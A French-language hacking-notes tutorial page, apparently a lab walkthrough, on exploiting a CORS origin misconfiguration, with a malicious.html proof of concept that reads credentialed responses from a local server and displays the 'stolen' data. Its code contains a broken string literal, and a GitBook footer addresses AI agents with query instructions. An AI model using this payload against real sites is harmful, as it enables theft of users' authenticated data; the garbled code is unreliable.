> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/cors-origin-pentesting-web.md).

# Mauvaise configuration de l’origine CORS

### Partage de ressources entre origines croisées (CORS) :

Toutes ces informations sont disponibles sur le site web :

<figure><img src="/files/cf62c13cc1358ae70895e33a8ef099d2ee5ebd36" alt="" width="563"><figcaption></figcaption></figure>

Nous l’interceptons avec Burp Suite et observons que deux champs "**Identifiants de contrôle d’accès**" et "**origine**" sont mal configurés dans la réponse :

<figure><img src="/files/4af5b907a539b64f331a19c339d9def52f2a86da" alt=""><figcaption></figcaption></figure>

Nous ajoutons un **nouveau champ origine** dans la requête avec le lien d’une page web par exemple "google.com" et observons qu’il est accepté :

<figure><img src="/files/fb149fead3c7375f60cf9fcf4be68b68612e762e" alt=""><figcaption></figcaption></figure>

Nous créons un fichier web **malicious.html** qui exploite la vulnérabilité avec les champs origine et identifiants :

```html
<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('GET', 'http://localhost:5000/confidentiathe , true);
   req.withCredentials = true;
   req.send();
   function reqListener() {
		document.getElementById("stolenInfo").innerHTML = req.responseText;
   }
</script>
<center><h1>Vous avez été piraté, voici les informations que je vous ai volées</h1></center>
<p id="stolenInfo"></p>

```

Avec **Python**, nous créons un serveur web :

<figure><img src="/files/17311f2d10c9fdb9910ccf7e4838b452db37f5c1" alt=""><figcaption></figcaption></figure>

Nous accédons à notre site web et les informations confidentielles n’ont pas été **envoyées à notre site**:

<figure><img src="/files/c1c64a0a02b863f6a1b4c57b4ab4e966a57ad827" alt=""><figcaption></figcaption></figure>

Si CORS était correctement configuré, nous aurions reçu l’erreur ci-dessous :

<figure><img src="/files/c39364542e9880f8ab179ab33ffc1ba86603277d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/cors-origin-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
